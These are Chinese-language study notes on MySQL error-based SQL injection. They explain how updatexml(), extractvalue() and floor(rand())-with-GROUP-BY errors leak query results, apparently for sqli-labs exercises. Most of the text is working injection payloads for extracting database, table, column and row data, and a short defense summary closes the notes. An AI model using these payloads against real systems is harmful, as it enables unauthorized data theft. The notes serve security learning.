1. 报错注入
Error-Based SQL lnjection
1.1. 报错注入基本原理
- 一种通过故意触发数据库错误,从错误信息中提取敏感数据的攻击方式。
- 原理:利用数据库函数的错误错误处理机制,将查询结果直接显示在错误信息中。
1.2. xpath
XML(XML Path Language)
是一种用于在xml文档中定位节点的查询语言。
如果把XML文档比作一个树形结构的文件(文件夹目录),xpath就是用来导航到树中某个具体位置的路径表达式
1.2.1. XPath与SQL注入
在我们所学的报错注入攻击中,攻击者通过构造非法的XPATH表达式,触发数据库错误,然后从中提取数据
故意插入非法字符(如~)非xpath语法内容(数据库查询结果),MySQL会抛出错误。
1.3. 核心步骤
MySQL的版本需要>5.1.5
- 我们目前只是针对MySQL数据库进行操作
1.3.1. 确认注入点
- 测试是否存在注入点,输入单引号',观察是否返回数据库错误。
?id=1'
2. 像返回图中 You have an error in your SQL syntax...的提示,说明可能存在注入漏洞。
1.3.2. 触发错误并提取数据
我们使用的是MySQL常用函数:updatexml(),extractvalue(),floor()
利用xpath语法错误。
1.3.2.1. 获取数据库版本
?id=1' and updatexml(1,concat('~',version()),1)
- updatexml(1, xpath表达式, 1):用于XML文档修改,但第二个参数需为合法XPath。
- concat(0x7e, version()):0x7e是~的十六进制,用于分隔错误信息。
- 执行时,因 version()的结果拼接到非法XPath中,触发错误,错误信息会包含数据库版本。
1.3.3. extractvalue函数
正确语法:extractvalue(xml_document,Xpath_string);
- xml_document:是string格式,是xml文件对象的名称。
- Xpath_string :是xpath格式的字符串。
- 作用:从目标xml中返回包含所查询值的字符串。
- 注:第二个参数是要求符合xpath语法,如果不符合就会报错并且将查询结果放在报错信息里因此可以利用。
1.3.3.1. extractvalue函数使用方式:
?id =1 and (select extractvalue("anything",concat('~',(select 查询语句))))
数字型列子:?id=1 and (select extractvalue("anyting",concat('~',(select user()))))
字符型:?id=1' and (select extractvalue("anything",concat('~',(select user()))))--+
注:字符型与数字型只相差了‘
1.3.3.2. 数据库中函数使用方法
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
数字型less-2
?id=1 and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
细节解释:
① 0x7e=’~’
② concat(‘a’,‘b’)=“ab”
③ version()=@@version
④ ‘~‘可以换成’#’、’$'等不满足 xpath 格式的字符
(????)⑤ extractvalue()能查询字符串的最大长度为 32,如果我们想要的结果超过 32,就要 用 substring()函数截取或 limit 分页,一次查看最多 32 位
1.3.4. updatexml 函数
正常语法:updatexml(xml_document,xpath_string,new_value)
与extractvalue函数一样
第一个参数:xml文档名称
第二个参数:符合xpath函数的字符串,须符合xpath语法。
第三个参数:new_value 是 string 格式,替换查找到的负荷条件的数据
作用:改变文 档中符合条件的节点的值
作用:改变文档中符合条件的节点的值 updatexml 使用时,当 xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误。
1.3.4.1. updatexml 函数注入利用方式
id=1 and updatexml("anything",concat('~',(select 语句)),"anything")
数字型列子:less-2 查用户名
第二个参数就是用来替换各种SQL语句的
id=1 and updatexml("anything",concat('~',(select user())),"anything")
字符型:less-1,字符型记得注释后面参数--+
id=1' and updatexml("anything",concat('~',(select user())),"anything")--+
1.3.4.2. 数据库中函数使用
Mysql 数据库为例:
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
使用的是?id=1 and (select updatexml(1,concat(0x7e,(select database(),0x7e)))) less-2
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
1.3.5. floor()函数
- floor()是SQL中的数学函数,正确用途是将数值向下取整到最接近的整数。其语法如下:
- 示例:
- FLOOR(3.7) → 返回 3
- FLOOR(-2.3) → 返回 -3(向下取整,负数会更小)
1.3.5.1. 报错注入中的利用原理
在 SQL 注入攻击中,FLOOR() 常与 RAND()、GROUP BY 结合使用,通过触发主键重复错误泄露数据。核心原理:
- rand() 生成随机数(范围 0~1)。
- floor(rand()*2) 会随机返回 0 或 1。
- 当 GROUP BY 子句使用 FLOOR(RAND()*2) 时,由于随机性,可能出现临时表主键冲突,导致数据库抛出错误。
- GROUP BY 的工作原理当使用 GROUP BY 对某列分组时,数据库会:
- 创建一个临时表,将分组列的值作为临时表的主键。
- 遍历原始数据,将每行数据插入对应的分组(即临时表的主键对应的行)。
- 如果插入时发现主键已存在,则触发主键冲突错误。
1.3.5.1.1. 创建临时表并插入数据
- 临时表结构:主键为 x。
- 插入过程:
- 插入 x=0 → 成功。
- 插入 x=1 → 成功。
- 插入 x=1 → 主键冲突,触发错误。
- group by对字母进行排列,从A到a排序,当有相同时的名字时它会合并
- 错误信息中会包含触发冲突的值,攻击者可利用此泄露敏感数据。
1.3.5.2. floor函数注入方式
示例 1:数字型
?id=1 union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
有问题 示例 2:字符型
?id=1' union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a--+
1.3.5.3. 其他指令
Mysql 数据库为例:
爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
在现代的 web 中对输入的内容会做很严格的限制,并且在默认情况下都是不会显示错误信息,因此前面学习的联合查询和报错注入都无法利用来注入了,因此我们需要使 用"盲注"来进行 SQL 注入,所谓的盲注就是在服务器没有错误信息会显示完成注入攻 击,但是服务器不会显示错误信息,我们就需要找到一个方法来验证 SQL 语句是否被执行
1.3.5.4 防御措施总结
-
参数化查询:禁止直接拼接 SQL 语句。
-
过滤输入:对特殊字符(
'
、"
、RAND
)进行转义。 -
错误信息隐藏:生产环境返回通用错误页面。
-
权限控制:禁止应用账号访问
information_schema
。
总结
-
主键冲突触发条件:
GROUP BY
动态生成的分组键出现重复。 -
攻击本质:通过固定随机种子,控制分组键的生成序列,使错误信息反映敏感数据。
-
防御关键:避免 SQL 拼接 + 最小化数据库权限。